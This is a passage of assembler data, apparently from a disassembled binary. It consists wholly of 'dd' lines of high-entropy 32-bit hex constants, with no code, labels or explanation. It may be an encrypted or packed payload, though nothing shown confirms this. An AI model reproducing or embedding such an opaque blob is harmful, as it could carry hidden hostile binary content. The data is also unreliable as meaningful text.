		dd 2032804h, 0B4B65BFDh, 0A941A4DFh, 6104A73Eh,	5F99E975h
		dd 8B994DAEh, 19760910h, 0B3885F49h, 1668868Dh,	8F20E93Bh
		dd 20F7B0A3h, 72F6AFF5h, 5B984FD9h, 3130307Ah, 8D5AE9C3h
		dd 21822D19h, 57352C6Dh, 7A648337h, 0E3D3612Ah,	6F63519Fh
		dd 0F27F41EDh, 6A25D940h, 9DFA6E9Fh, 0D04084Ch,	312A2C7Ah
		dd 0E35C17C1h, 54F58000h, 7FF7E5E6h, 7566CBC8h,	0B98C83Bh
		dd 0C1054881h, 0DA8BF9EFh, 5FD458C7h, 9130E950h, 3F50097h
		dd 55EA86D2h, 7E25E99Ch, 0B5D0A5D6h, 7DB2BA5Fh,	1D36A90Bh
		dd 14E59488h, 0EC5B08EAh, 0F4022D4Dh, 0A305695Dh, 3928FBF8h
		dd 65B5FACDh, 0C0C67FBDh, 89DC8602h, 2262F048h,	0D5EE04B4h
		dd 827A6220h, 0BF5EC61Dh, 0B63F07C0h, 6FC0C317h, 0DC942652h
		dd 25B84567h, 0B1E96C0Bh, 0B7414610h, 0A0B852E8h, 0D2FD5728h
		dd 7DD16A20h, 9477EEF6h, 0A4B8012Bh, 3136AB69h,	5B393014h
		dd 0C9549616h, 0EC5172E8h, 20988D7Ah, 0B840BE84h, 0F63205B5h
		dd 0C0CDFED5h, 0C5800866h, 9FE9670Bh, 95757412h, 292F85BDh
		dd 993E6053h, 0EA1B929Eh, 6C082A88h, 0F8099C24h, 0C07A5C1Bh
		dd 44AF1C0Eh, 39E2D12Ch, 0BB385507h, 428542E5h,	119A7609h
		dd 0C925A3B3h, 25C1CB3Bh, 77748683h, 478F2558h,	415AFB5Eh
		dd 0B36BD67Ah, 82D66AC1h, 0E2B05085h, 820262C2h, 55B96773h
		dd 0FBB5844Eh, 0E95CA56Ah, 64B99227h, 9455208Fh, 75692507h
		dd 5BA51593h, 9A578E4Bh, 0BD5FCCD1h, 505C8F58h,	54972A75h
		dd 4A2F78B7h, 8B01337Ch, 0A82AE8EDh, 1C355BE9h,	0E5DD14F0h
		dd 0BB12DF3Dh, 4F39FF90h, 0EB74658h, 4AF780D3h,	102E769h
		dd 0C25AC6DEh, 0E30FD470h, 0A4FCB652h, 2FD278BFh, 81DE591Bh
		dd 0A715B1BAh, 47307065h, 8244E5F5h, 0BD46DE0Ch, 0D7E7801Dh
		dd 2D0A3311h, 7488C5E9h, 27FEC9B3h, 0E6A43A09h,	26527AB8h
		dd 888A7F3Dh, 0E4255CE8h, 4FC89891h, 9306E333h,	82033542h
		dd 0DCBCC038h, 0BF3B7C2Fh, 80A9FCAh, 0DAF661ECh, 0C4137BFEh
		dd 1504B752h, 2104852Ch, 0C438EDF9h, 1616AA8Ah,	6A3309FBh
		dd 9051FD7Eh, 0C10A5F7Ch, 28502E2h, 0E6BD0E83h,	0A491B9C2h
		dd 6AEEDDF9h, 62EA6F40h, 0F623616Dh, 1BD99E71h,	0D5C97958h
		dd 4F536EDBh, 6D4909ECh, 5DBD023Ch, 0BBBF91CAh,	0A74007ABh
		dd 0B8207C1Eh, 60F43E9Fh, 0B6E9398Bh, 5B48ACF8h, 0D831E1B7h
		dd 0F3733941h, 1A40F602h, 0C7F48059h, 0BD5CC1E6h, 51CB1E46h
		dd 7108644Bh, 0D2CF471Ch, 555BB3F9h, 5177F00Bh,	0C154C68Bh
		dd 0B1F64C9Dh, 0BD850824h, 0A8F7B43Fh, 0D640CCC4h, 505BDE20h
		dd 28CC9B4h, 9BAFCC0h, 0D75110Ah, 0D304AC42h, 3EC3506Dh
		dd 0CA90BFD1h, 4CC159FDh, 0C3004D0Ch, 1780D07h,	7E7FE9D6h
		dd 3F0005B1h, 0F739167Bh, 0A3809FDEh, 1BB50463h, 0D1C606B7h
		dd 0ACB008h, 715E3ED5h,	1D3CE381h, 12B0574Fh, 0ED430F37h
		dd 8016E91Eh, 0AA68AC47h, 5845253h, 0C7800BB7h,	8BEE03EBh
		dd 0A8A4CAE9h, 0E5BCD6F5h, 0BA8E535Fh, 70E97530h, 0BC69D77h
		dd 0BC6A9FA0h, 0EEC9E182h, 0E4F4E455h, 400F9FDh, 7B03342Ch
		dd 0B353E0D0h, 688CF2CEh, 0BC058B7h, 0DEF603EEh, 0E70B0E57h
		dd 552B88F1h, 39E97290h, 144799Dh, 6AA86722h, 768B7A58h
		dd 0E0257B05h, 0A2C8AF21h, 17817307h, 420A1A04h, 0B24DA9DDh
		dd 0C3A287h, 294E1268h,	22B6297h, 7886E908h, 0F9459D2Dh
		dd 0E2A051AFh, 0B7DC568h, 0C1715960h, 5E4E68h, 0B519BCE9h
		dd 0EE57F69Ah, 0F4D25ED8h, 5A409B0Ah, 4E00EC1h,	0E374505h
		dd 0E7622D95h, 127C2179h, 5AF53108h, 600AAEDDh,	0F953CF48h
		dd 572BD31h, 0E7B411B0h, 250D3824h, 7F16996h, 1D7840F9h
		dd 7E5ABD2Fh, 0C85120B7h, 781E2D56h, 0C818C29h,	16C5225Dh
		dd 0C49C204Fh, 890400Dh, 1282D14Ch, 0E0717754h,	0F67A6A9Bh
		dd 0AE8A50C1h, 79232913h, 53C4FE07h, 0AC805F24h, 0DA40DF3h
		dd 0A152E90Fh, 0B0E5F04Bh, 53770B75h, 2315BB17h, 88DDDF0Bh
		dd 3F080BDAh, 0E829C21Eh, 50274B64h, 0C91DF69Eh, 137FC204h
		dd 39BADB18h, 645C80FCh, 3F02882Ch, 91D5910h, 0F00FC9D1h
		dd 0FE02E1ABh, 7E09E755h, 0ADC62D50h, 0F195F67Fh, 0CE0D988Ch
		dd 93B5A8CEh, 6826C25Ah, 2D5DD6h, 503E6B78h, 3DF28D35h
		dd 89E91D0Ch, 0CDC46180h, 3BC36B8Ch, 13AD2AE4h,	15D4465h
		dd 60EFC97Eh, 7BEF60FEh, 0C5E83A9Eh, 2FFF67AFh,	0D92DB550h
		dd 0E164AAh, 15D67170h,	6B72F181h, 0E90EEF05h, 0B89C7AEBh
		dd 4E5A5C54h, 259A1810h, 50F55BDh, 0AE54CD49h, 4C17C796h
		dd 0DF68BF42h, 8D69F92Ah, 2F2B8A08h, 5AEA11B0h,	29EECD5Ah
		dd 584A7A0Ch, 0FCF097BCh, 7C481971h, 1A8004FAh,	69C1612Dh
		dd 68017937h, 46376A75h, 0C04FD8D6h, 5143B743h,	8002E0B1h
		dd 13E987C9h, 882971ADh, 0B50BE658h, 0C22D04F1h, 0AFAB0E52h
		dd 26CB6366h, 0C7670D6Ah, 0DB90EC0Dh, 263F823Fh, 0DC411B7Dh
		dd 0BD4B73BCh, 770C6984h, 808790A5h, 0D40EE950h, 43F2BAACh
		dd 3AE2A0BDh, 4572C7Bh,	2397F8BDh, 70C5AB25h, 0D13501BEh
		dd 0D883AFECh, 263910EEh, 8AE95B0Eh, 0B26B0841h, 0B3E9C5DCh
		dd 0E0B2ACD2h, 8CE36DB3h, 0B554789Dh, 5302B665h, 997B91E9h
		dd 5B70B3AAh, 15676750h, 356576EBh, 2E96E09Dh, 0C1715F32h
		dd 9DEE894Fh, 7A05C38Ah, 880E16B3h, 7D340405h, 841D2F9h
		dd 0B0141CA0h, 61DF27CBh, 0CBF5A8CCh, 0FAFBD113h, 7C518432h
		dd 7529253Eh, 86C92280h, 5C5CBB16h, 0A34A7E07h,	6CB5F277h
		dd 0B8458B9h, 1059149Ah, 651CE48h, 4B41E37Eh, 40D017C8h
		dd 0E02DB3EEh, 7E3D2A88h, 4B76B113h, 761902E6h,	0EB010AE2h
		dd 0D8D9EF41h, 0E6A03C7Fh, 62282D06h, 0AF77E433h, 705D012Ch
		dd 7FB8A08h, 8789F180h,	80445944h, 0F35A21F0h, 4A1259CAh
		dd 0E7ADA8FEh, 7970A3E2h, 0DB118BF1h, 0FCDA82E8h, 2F6839C2h
		dd 7AA65C7Bh, 0D9950B5Dh, 582CAB0h, 0E37FD468h,	9E371754h
		dd 2CAE6265h, 459DC5EBh, 22AA6A7h, 5DB33D1Fh, 592744D4h
		dd 0CE1EB0E1h, 4502607Ch, 412C85B9h, 280AD63Eh,	4A440C47h
		dd 36B02216h, 20E92117h, 4610CB01h, 407A5969h, 0EAEE0E1Ch
		dd 0D92C2994h, 52020B5Bh, 7C146368h, 56A160DDh,	0C2F01C82h
		dd 67586Bh, 8B0B3D1Dh
		dd 2DCAF2C9h, 4E70C0E9h, 5DC159Fh, 0FB12D6E9h, 1046B231h
		dd 9753B26Bh, 90A14EE8h, 0D67A2C2Fh, 0E9F142ABh, 2971D1A2h
		dd 544C19A7h, 203B9C6Eh, 0DC2550B4h, 4ACBC6C3h,	7EAE0227h
		dd 65DC5A5Ah, 9C87508h,	4256575Ah, 3A349C12h, 5A27ECA7h
		dd 0E941CDF1h, 2A76AC2Bh, 0D657531Eh, 52CF4ADBh, 351231B4h
		dd 0E5D00179h, 0C2C6DDDCh, 0CF87590Eh, 886FE07Fh, 0C0DF82A3h
		dd 3E25EBFFh, 6A127621h, 0D1BCB4C9h, 261B7916h,	93479B8h
		dd 3EFE1D96h, 162E1F12h, 4E4EBE41h, 594232E9h, 540CB551h
		dd 6EE9CFC9h, 0F55F30E1h, 0DBF1F6C0h, 44907F89h, 0CCB920B8h
		dd 22F132B7h, 8557F25h,	4743249Bh, 0BB2BC886h, 45A78F9Fh
		dd 0E1252E6Bh, 26070968h, 676A11BEh, 74618278h,	766800E5h
		dd 52379E21h, 2DAFE55Fh, 562044E5h, 2DCA0820h, 42A6D25Ch
		dd 801CD515h, 0F7C9A7C7h, 0EA0F7E7h, 2837B532h,	1ACCFD4Eh
		dd 4ED73C0h, 0F6FAB252h, 926BDDAh, 2093E9E8h, 5E7C1C3h
		dd 0BEF70581h, 0E87F4276h, 0F9100902h, 82DCF88Bh, 0D5CD2BA8h
		dd 73A06696h, 3E3C6E9Ch, 0E881CA39h, 0FC05E047h, 0CB5DE53Ch
		dd 88BCE0A5h, 755373FAh, 3EFC62D7h, 0C720D8E5h,	272D45B3h
		dd 5F78290Bh, 555E0881h, 0FE920BFBh, 65C47696h,	0E0108419h
		dd 985A612Ah, 124E093Fh, 0B044CEBh, 0D82E9060h,	444E702Dh
		dd 402F21E8h, 624DFD87h, 985705EBh, 82544E79h, 70773A61h
		dd 40B5FC25h, 82C2C8EBh, 0E6616661h, 0C3E55C07h, 0B9525BD7h
		dd 0F1B0775Dh, 20B3BA91h, 268B9208h, 5AB309B2h,	5847445Eh
		dd 0DFB2457Fh, 0F518518Bh, 59CB2BB7h, 730F6813h, 0AB81B2EDh
		dd 0C6415C69h, 282CE5C0h, 0E31FC31h, 2BC556E1h,	3CB4076Ah
		dd 8988EF40h, 103F424h,	0A322AF0Fh, 8C840FBh, 0EEA4C652h
		dd 6DD6E968h, 33858FA9h, 0F0EC1E0Bh, 1B6A68B7h,	515FD4A6h
		dd 593A09F9h, 503C00D8h, 0E69ECCBDh, 55B9F58h, 8166F030h
		dd 203CB740h, 6CEA282h,	0C2CFC401h, 60DD89FAh, 0D740AD33h
		dd 2058095Ah, 8C1866D8h, 5F4B6802h, 5A8968BDh, 28264070h
		dd 5499CE2h, 98E47956h,	0CB9C0384h, 1C6F21ACh, 7654AAF1h
		dd 0D95C8A07h, 0C6540189h, 0BF4B9F12h, 48C8ACFDh, 99BAF404h
		dd 98B13E88h, 0E9091E3Dh, 0B2F28F13h, 0E7AC1F34h, 2CE69885h
		dd 44FA0527h, 1D15148h,	20DD1BA8h, 43A533E9h, 5712D85Ch
		dd 42171313h, 490C77AFh, 7C2F34D4h, 5A60DABDh, 818071F7h
		dd 5ACAB5EDh, 7D65741h,	98032D6h, 4CBC7B8Bh, 5B8BD674h
		dd 13F7FC58h, 0D8159357h, 58C3FBDCh, 9BC3A20h, 5082ADDBh
		dd 3EEFFD33h, 0C0448FDDh, 405EC0C2h, 0F443E663h, 0B4474C42h
		dd 0C80EF402h, 2578916h, 19D01CCh, 336AA068h, 0A50178BBh
		dd 587C2161h, 0DF546DE9h, 56B938AFh, 0B59714BDh, 47F599C2h
		dd 0CAE7A5CDh, 73E94831h, 3B4B883Fh, 23B0C25Fh,	0E7A7C467h
		dd 4F1F338h, 0ABE4218h,	60FD184h, 0D5CDE955h, 405330A0h
		dd 8F2801E1h, 6F4FF647h, 0E2812684h, 810051F5h,	3B1E67CDh
		dd 89D26B5Ah, 805DC882h, 0C85E73D3h, 0CB813D28h, 0B013EAF9h
		dd 4DA80BE7h, 8DF07A70h, 42C8E097h, 0C351C166h,	402D0258h
		dd 26ABCB95h, 55116B13h, 7E15B301h, 93F6C6Fh, 0D1726147h
		dd 0A43BED01h, 0EE01D912h, 9DA0B1F4h, 5EEB5F59h, 7C685058h
		dd 502D425Eh, 0D48A2842h, 245C4588h, 8D979Fh, 9CE9C821h
		dd 3993655Dh, 97C14B57h, 0F56C503Eh, 0E98F951h,	131B0D5Fh
		dd 6BBD31FAh, 0BDE9E96Dh, 4B3B602Ch, 2875EF13h,	0CF2C68C8h
		dd 0BD603A1Fh, 1581403Fh, 0BB58E94Eh, 797D5351h, 440F874Fh
		dd 6590BF2h, 0F278B32h,	3D0222C7h, 7B68F132h, 0B80246B2h
		dd 0BC60DF3h, 7A58C1h, 9C224168h, 5DBC60FAh, 0E29F104Fh
		dd 26BEDE44h, 1B023D08h, 0D9F74683h, 89809C0h, 801AD2Ch
		dd 57033503h, 7F80E561h, 0F822D71Bh, 338305C1h,	9029C758h
		dd 52DCE30Eh, 687D441Eh, 87797714h, 0B716BF40h,	9D034ED8h
		dd 9D292A1Bh, 0C4CB69F8h, 1E7380C5h, 0D4B60589h, 830D9635h
		dd 0DA4B2999h, 0BAD00E46h, 290CB723h, 2A1002DCh, 0E90A5094h
		dd 9EF8E581h, 2A129D68h, 0AAE5818Eh, 9818934h, 0B55F3AF6h
		dd 1CEE2680h, 6817EC18h, 0C180E0E9h, 0C4AA6BBh,	0D8897C1Bh
		dd 0D8A8AB90h, 35162EBDh, 1AA0C41h, 5BDF8940h, 6183CDF7h
		dd 37928253h, 407E8115h, 7C6A71E0h, 69F9BD91h, 5EC6CE02h
		dd 2793F4C3h, 294F19D0h, 0BAD41BEDh, 0EE93006h,	9D977850h
		dd 0B9133FC9h, 0D667B99Bh, 0D02F8FF8h, 69C205D4h, 0CBF00B7Fh
		dd 6880DF73h, 69745B4Ah, 0FFCF02F2h, 0F55E31A7h, 4A38FFC4h
		dd 0D4689DFEh, 30804FA9h, 84D09FEBh, 7608DE2Eh,	80105198h
		dd 61C14C88h, 42F67527h, 21A16864h, 0A183B82Ah,	9C6EAE79h
		dd 2D8418FEh, 59184F6Fh, 8A9ED3C0h, 0DD183AC2h,	0D2B66119h
		dd 258996FDh, 0AC6ECC56h, 1CC4EAFEh, 0D9FA5EA9h, 828E3A2Dh
		dd 0A1A4E916h, 1E402B47h, 83EED80h, 81E695EAh, 8970C2F6h
		dd 0F942D5B1h, 3368006Dh, 6FE95C08h, 4807F110h,	0A073208Ah
		dd 81D23759h, 0ADCE6F51h, 8933029h, 682F4EDCh, 0C9DDF52Ch
		dd 4A80CFD1h, 37271CD6h, 1902EFECh, 0E910957Fh,	6222D046h
		dd 6F346E59h, 5FDA8802h, 4B3F9585h, 13844980h, 0AE017E8h
		dd 692CB0D1h, 0B48067A5h, 16154D31h, 4CE225B0h,	0E93B8B09h
		dd 55C66203h, 555A264Ch, 560CB0B6h, 2784937Dh, 3C938B6Ch
		dd 4944B5E5h, 1BC969h, 5EC767F2h, 7B85B770h, 2963AC16h
		dd 6861DAADh, 0AD286AE3h, 0DF9E01D3h, 30051A44h, 0F88266DCh
		dd 0B72D2077h, 6D1FBD02h, 74D10B30h, 57A603EBh,	7E0661C3h
		dd 6ACE5E2Bh, 212E1D0Ch, 96E989CAh, 0D0F73B60h,	4D354002h
		dd 0F704A30Bh, 82E00248h, 5009DD93h, 9CF7154h, 0F2690A3Dh
		dd 38E22A06h, 476291C5h, 3559CCCFh, 0D0F0F3E7h,	0F8308006h
		dd 9E5DB7E9h, 62A48003h, 0FB216064h, 1738F1B5h,	0C36ED8C8h
		dd 84BB015Dh, 4DAC28EDh, 741F49DEh, 0D2008346h,	55179F15h
		dd 124064BDh, 0AF214BC8h, 0E912D58Ah, 5AE24B2Fh, 7B12AD82h
		dd 8B1BC77Dh, 385D2917h, 805B5D8Ah, 0E126DBEh, 12FE12FEh
		dd 4341FF41h, 269146D5h, 945810A7h, 90DCC3Ch, 4F10143h
		dd 0BA00F38Eh, 6F0A7811h, 0DF9E74F4h, 0F1EB0109h, 0DA25BCE7h
		dd 0F170EC7h, 56654E0Eh, 9556ABDCh, 0D118FF81h,	44942A54h
		dd 0F32E3BA5h, 57D1D23Ah, 8903D173h, 10DE5AA2h,	713BA73Dh
		dd 0F7408260h, 0CA74506Ah, 1FE0208h, 280DC780h,	0D7EFD5CFh
		dd 65C63816h, 0FED330BAh, 72242C04h, 0E6028450h, 0CAB21B73h
		dd 270E4091h, 3A702D09h, 59090EF4h, 5B1CFF0Ah, 42AF4CBDh
		dd 264CC85Dh, 2C60B86h,	4E7C4E02h, 5BDE2901h, 1BD3636Ch
		dd 0B8805FEDh, 0E001293Ah, 28620D6Ah, 0B07A37ACh, 0BA903547h
		dd 73A1AF26h, 0E9554181h, 0F32FA7DEh, 73D9105Fh, 0B805E269h
		dd 6AEFB4FBh, 9C58F240h, 7E555105h, 121309A0h, 0F831F427h
		dd 0C1D51D18h, 0D077DF28h, 5FFEA4A8h, 0BF0D7895h, 8173F858h
		dd 0B4045474h, 0E4D6E936h, 5C6B22BBh, 2DF94C5Dh, 0CA6678CBh
		dd 0BD4C0122h, 0CEAA7530h, 4BF0A983h, 849F9A57h, 8DEA8054h
		dd 76BC20B8h, 0D1405826h, 25DFA908h, 6305720Fh,	0D529AED3h
		dd 637EB720h, 8967AEE4h, 19ED2302h, 68760E69h, 4A393D71h
		dd 0B05E911Bh, 0D0A996E2h, 32CBA0E9h, 0EDC06921h, 2C0FE103h
		dd 0EF59708Ah, 0FA0B9C89h
		dd 2C8C0C5Bh, 380876EAh, 0D3138BF2h, 1D5AC5Ah, 6887048Dh
		dd 316B18F4h, 164B6DB8h, 0D751B710h, 77CBDA3Fh,	8F10E90Dh
		dd 31B03BB1h, 5014B6F2h, 0E934D031h, 4BA30F75h,	0D0621F25h
		dd 0A5A0C57Dh, 0DD5A8454h, 3F9C4BCDh, 0FD00A521h, 3D627F9Dh
		dd 4B8AE917h, 0EBC44AECh, 18BF15FAh, 0C2F79BE4h, 0A0A71E34h
		dd 0BF62D2BAh, 50B7C421h, 7ACE2C01h, 68D0B2B1h,	0E9D7C229h
		dd 70D2E540h, 5B87C325h, 0DA319EE4h, 0BB0B1366h, 0E5A56F51h
		dd 0C551AD48h, 29A9776Bh, 0C644EDDEh, 0BF02D1B8h, 114B904Ah
		dd 9C0AE3D7h, 0DFEE49E0h, 0AC8112BCh, 0FE01E135h, 0E9DBD87Bh
		dd 59F5CC25h, 0AF816991h, 2EC83112h, 0AC6BE7B3h, 47B59A5Ah
		dd 5F540982h, 5681D2D1h, 123745BEh, 96E63730h, 11D37BAh
		dd 7B89F129h, 57172D90h, 0B42F483Ch, 0F0D22C52h, 29E34FF7h
		dd 99CBDE36h, 0ED3CB9Eh, 0B0369272h, 84E156FFh,	7588BBCBh
		dd 1BBC09BBh, 0AA0875DFh, 0F3C50127h, 2B379E07h, 4F85D9B0h
		dd 9249D95h, 0F3A53BCDh, 0E9166E3Dh, 0B84380FCh, 0E12548DFh
		dd 63CAE23Fh, 36421E95h, 0C1614211h, 20FF06EAh,	0F2511ADCh
		dd 516CF24h, 84899F3Dh,	0F1311B9Fh, 75D92EAAh, 6BFBE03Eh
		dd 3571009Fh, 90E8E573h, 89551243h, 0FE9AB0C5h,	80EFF55Ch
		dd 6859C82Ch, 313A5A6Bh, 4A358F6h, 167C1EAAh, 20BCF5E3h
		dd 9C253EA6h, 5D43C2F6h, 0E8BBBA41h, 7DBC1F43h,	2E4C6A70h
		dd 12AF64FEh, 3517EBDAh, 8D19DCF6h, 0DDD87163h,	3FB52557h
		dd 65FBEF81h, 70020903h, 4B6C4E35h, 6004FA66h, 0CE81AD9Eh
		dd 0C33D5E5Fh, 898CAF0Bh, 0E805D86h, 84AEB17Eh,	7C95B898h
		dd 470997EAh, 23326880h, 93D17FF1h, 5D8BBBCBh, 16CB9248h
		dd 58654C79h, 0A4B850C1h, 6143C16Bh, 0D634406Ah, 2D0BC444h
		dd 5A5FE946h, 40EB092Dh, 4C804B29h, 0BC7ED4C3h,	202B214Ch
		dd 0AF00A24Eh, 8F6E4505h, 8DC4A2B3h, 4B56E7AEh,	0B9A83589h
		dd 444B9784h, 1C58AFF2h, 1CDFAF98h, 0A818C646h,	0E41B206Ah
		dd 41496874h, 0BB928C07h, 25481ABDh, 0BE7E8C54h, 36D8590Ah
		dd 627ADEAFh, 0FECE3BCh, 0AC4ABFh, 283C658Bh, 212940Fh
		dd 79AD4BDAh, 9F61F642h, 59A597D6h, 0D7E9FF38h,	819EE4CCh
		dd 45EEEA4Ah, 8A52DCCCh, 71B77DBCh, 2E3AC8Fh, 720E5787h
		dd 50395F5Eh, 0F32EE908h, 18BB6194h, 55F591B5h,	1FF0001Ch
		dd 0D5396C05h, 0E84C290Eh, 2B0C7753h, 308138A3h, 6EB83B64h
		dd 732DE100h, 0C1837675h, 67E6017Fh, 0CE74F712h, 0A9D2DDF5h
		dd 52C01F5h, 0C08B637Dh, 0D3E5C2EFh, 0E95D7B2Fh, 0A2796555h
		dd 0D2FB20DDh, 6BF83500h, 0C7055792h, 7B7C2509h, 4CAAC5Fh
		dd 0BDA04FE9h, 16E84F8Eh, 0BBE1ED02h, 68FD8FABh, 0DFC6B8D7h
		dd 82FAAFA1h, 0E295B9F6h, 8CB4DDBFh, 0C75D991Eh, 63FB486Fh
		dd 0FB3830A2h, 90478E48h, 0DCE5275Eh, 0AB820805h, 8F5F0257h
		dd 98EDE677h, 7569909Eh, 49541468h, 0CD09EC27h,	0A1024BB5h
		dd 0B7F01DE9h, 33D82862h, 0D45407DAh, 4016E121h, 0C506BAD6h
		dd 0AC334D7Bh, 45D2247h, 0EB022FAEh, 0B9CA407Ah, 9014A62Ah
		dd 9DE77536h, 0FD6FA502h, 264BF209h, 1ABF282Bh,	60751951h
		dd 1FA7E7ADh, 5752C520h, 586F4CD0h, 5025E24Ah, 54E5E96h
		dd 0FE853686h, 2704941h, 0F1D83A99h, 53030293h,	7B86682Ah
		dd 0A18FB679h, 0E935215Fh, 902AD763h, 648E063Fh, 1ABC2BFFh
		dd 98552A7Fh, 20472FDAh, 0D98C7E2Fh, 0C539808Fh, 13E59D97h
		dd 16D0F58Eh, 72D17004h, 0B753AC00h, 0E74CC0C5h, 430E6683h
		dd 0AF0E2DD0h, 0F10F2D11h, 0E00F60C8h, 54FAD94h, 1353B207h
		dd 7F311EF4h, 0EE94954Fh, 12CA5458h, 0E429BC28h, 0E84ECD2Ch
		dd 8143A1D2h, 0D3D7DC2Ah, 4BB02084h, 5EC0B425h,	0D49A647h
		dd 7F4503FCh, 3EDBE553h, 288A0B50h, 0CD15312h, 0B62B8ECAh
		dd 0BEAB85DEh, 9D45D8A9h, 7805050Ah, 7ECB560Fh,	0A6C39A40h
		dd 0B450038Fh, 68D4F63Dh, 28502970h, 68FF8A94h,	5CEC8169h
		dd 6020E288h, 61A19F47h, 8514DFCFh, 6DCEEF0Ah, 68F49C09h
		dd 807062BAh, 5397505Ah, 4E8AA839h, 6FC3D9F0h, 0BACE73C5h
		dd 4BAAE916h, 0D05405D0h, 0B204C871h, 4DA74CA7h, 5C8E4CE2h
		dd 2BFB004h, 4BF80409h,	0BAF73EE9h, 37C917B2h, 26B48AF8h
		dd 931842h, 5C7D96BEh, 16AE0D58h, 5F91A2EAh, 4F96D690h
		dd 920A12E6h, 9184E02Ah, 4A9A10F2h, 0E86212FFh,	0B9081EECh
		dd 0C503B3AEh, 0CC297C4Fh, 91DD4BAh, 0CEF95F08h, 321F4ADh
		dd 8B7FE9E1h, 71B7657Fh, 53E958A8h, 94265F9Eh, 800E4410h
		dd 0DA0571EBh, 8F81EB5Bh, 0E2C277F2h, 9C1C096h,	63C7B6F9h
		dd 0CB06E808h, 6D77ABF7h, 58AA2058h, 60F332C4h,	77FC210Bh
		dd 27F0490h, 29ACB03Ch,	25DD59CFh, 0FFF14994h, 0F9E4B428h
		dd 0C3D7DC91h, 4AE9E602h, 2680D997h, 4DA0027Fh,	0A6D640D9h
		dd 0CE921405h, 45BED3EFh, 6C51EF2Fh, 4961014Ah,	0C9E94830h
		dd 0EDD98146h, 4F9077C1h, 9252F32Bh, 603262AEh,	453CE157h
		dd 0F5D3A99h, 107A2C01h, 0B212E03Bh, 0F292EB39h, 8F864059h
		dd 67B69605h, 0BDE6A457h, 0C81C76AFh, 0DE67FBFDh, 0A345AD04h
		dd 15C2E9A7h, 0AE29842Fh, 6809E8CFh, 22249F7h, 91E6FD6Bh
		dd 75073C94h, 0ADE256CBh, 0F1890296h, 55544D7h,	1F2369B8h
		dd 0CBD99134h, 0C1AE0559h, 70E6D115h, 341826A8h, 6E0C177Ch
		dd 0D3FBFC33h, 5FEA14B6h, 704C4540h, 0B67EE157h, 0B244D7E0h
		dd 0C24084CBh, 62557AF7h, 45DF0CC1h, 74001602h,	6F514244h
		dd 67131F6h, 14800C08h,	950EBF57h, 0D27F0C63h, 222D30A9h
		dd 0D2F09E46h, 0AE40A24Bh, 660F652Ch, 5AD63021h, 7C2AB740h
		dd 68E96F09h, 96E8F4A5h, 0B87452CFh, 0AA04E477h, 35BA5253h
		dd 0D9360844h, 68665701h, 5FD14FAAh, 991AE34h, 0FD48E97Fh
		dd 9009CF11h, 5020E706h, 0E0CE3B40h, 0ACCBFDC3h, 0AFD0E71Eh
		dd 0DAF65B13h, 0E0FDF20Fh, 0E230F8C4h, 0D4882458h, 0E58A08D0h
		dd 391C5112h, 0BD5BBCD0h, 1575044Fh, 5BA5E07h, 0BA73B7F2h
		dd 0C7A40A36h, 0A2272C08h, 3A7D3C8Bh, 3B7143F9h, 918581Eh
		dd 3AE9DAFBh, 9680DA4Ch, 0C1E5AAAh, 12A48D5h, 0CD4497D7h
		dd 209E509Fh, 0BE1EE0AFh, 9DA81321h, 0CC46542Fh, 132D6973h
		dd 664B740Bh, 8B2F1F7Eh, 82B2CBB4h, 0C641D6BAh,	0E8BF95EFh
		dd 0E818F3F4h, 1FE2548h, 4D92467Ch, 0BC06FB16h,	2E7BFA63h
		dd 1A708724h, 7BC151A3h, 51914C36h, 0E973B105h,	41CCBBB5h
		dd 0AE827C1h, 86D1176h,	0D751BB02h, 273C6C15h, 0B1FC0B5Bh
		dd 0C90583C2h, 9182A6BFh, 4C73F405h, 2B67B409h,	0E2F6D672h
		dd 5E027285h, 0F264D757h, 0DF358B98h, 44EBB9C1h, 0BD651452h
		dd 0CDBEC191h, 0C1D4134Fh, 0E9030AEEh, 44B175CAh, 418A0424h
		dd 0FF215F07h, 37564A05h, 0ADA882DFh, 66027764h, 0C150C407h
		dd 0F1C780E1h, 5CD04D5Ch, 7F307202h, 6CDFE229h,	56908072h
		dd 0E458D0B5h, 0DCB330E9h, 8AD08822h, 224541Dh,	0C208449Ah
		dd 0C8D30FBEh, 0D9E94133h, 84817D80h, 0A0AD734Ah, 0C17FD893h
		dd 8BC59BDh, 59059137h,	0C3AFC328h, 0F3B2AAFDh,	0FC6560F7h
		dd 0DA9E882Eh, 5F1A9BC9h, 0F4DA4FEBh, 256FC656h, 15E2C4CEh
		dd 4B685500h, 5D381A6Bh, 2E2FE495h, 42B5A09Dh, 501DED9h
		dd 1F7154BDh, 4E14E77Bh, 0FB055D8Ah, 0BA355062h, 0C53FF190h
		dd 0E93A0951h, 387CA607h, 6B188A86h, 0EF7A2DBEh, 2D4B8D96h
		dd 0A8E217BFh, 6B121016h
		dd 40208358h, 4BD378B5h, 4FF1E9EAh, 1417BCB0h, 0DF4BA025h
		dd 9724137Ah, 9F040121h, 5077A0Ch, 5908E510h, 60964A92h
		dd 6C21952Ah, 97F187E9h, 5603206Ah, 0DBFACD80h,	29FFDD29h
		dd 0FD12EFBh, 4056FADh,	0AAB6F1A3h, 0A446DF91h,	0B9103D33h
		dd 875F0990h, 0E3C4743Ch, 1F694594h, 0F191F590h, 51FA28EDh
		dd 7ADC6B93h, 6A75414Ch, 0F70297F3h, 313C68F1h,	5028AE46h
		dd 0B04ABB9Ch, 51CF70FCh, 0A855BA45h, 8425D46Ah, 580B68BEh
		dd 0C37D9A75h, 107CC79h, 0ACDD72F9h, 0C80D98DDh, 7588092Dh
		dd 9E771BBBh, 0E0A79664h, 30B715D4h, 0EF023098h, 1538002h
		dd 0CB825ECAh, 0E9000175h, 0BFCDD981h, 0CD5E4278h, 6F782521h
		dd 0C7E16DA2h, 560105EEh, 9AEB1E3h, 80598320h, 7D546468h
		dd 90AAAAB1h, 0C1F29E77h, 0DEE95C0Dh, 0AE2C645Ah, 2B36181Eh
		dd 0D4C46296h, 24192DAAh, 515A6B18h, 5DE4D05Ah,	294E7C50h
		dd 1B13AFA2h, 0EE71BABEh, 3980AD5Fh, 0ED8158C5h, 0B70BA090h
		dd 0F5E831EAh, 0D3C09E32h, 735BB66Bh, 0C3C389B2h, 2AF13134h
		dd 4C532029h, 5ED94245h, 0B85B8953h, 96323D68h,	0A72C62FFh
		dd 0A1AF2D04h, 0A5EF344Fh, 21F7E19Fh, 0D1D2F37Dh, 28386898h
		dd 1EDC4F53h, 0F28FBE9h, 0BA595B27h, 6B8B59A7h,	84171AF5h
		dd 30096E4Dh, 680BFEF9h, 93177F9h, 0F727806Bh, 0C98191D8h
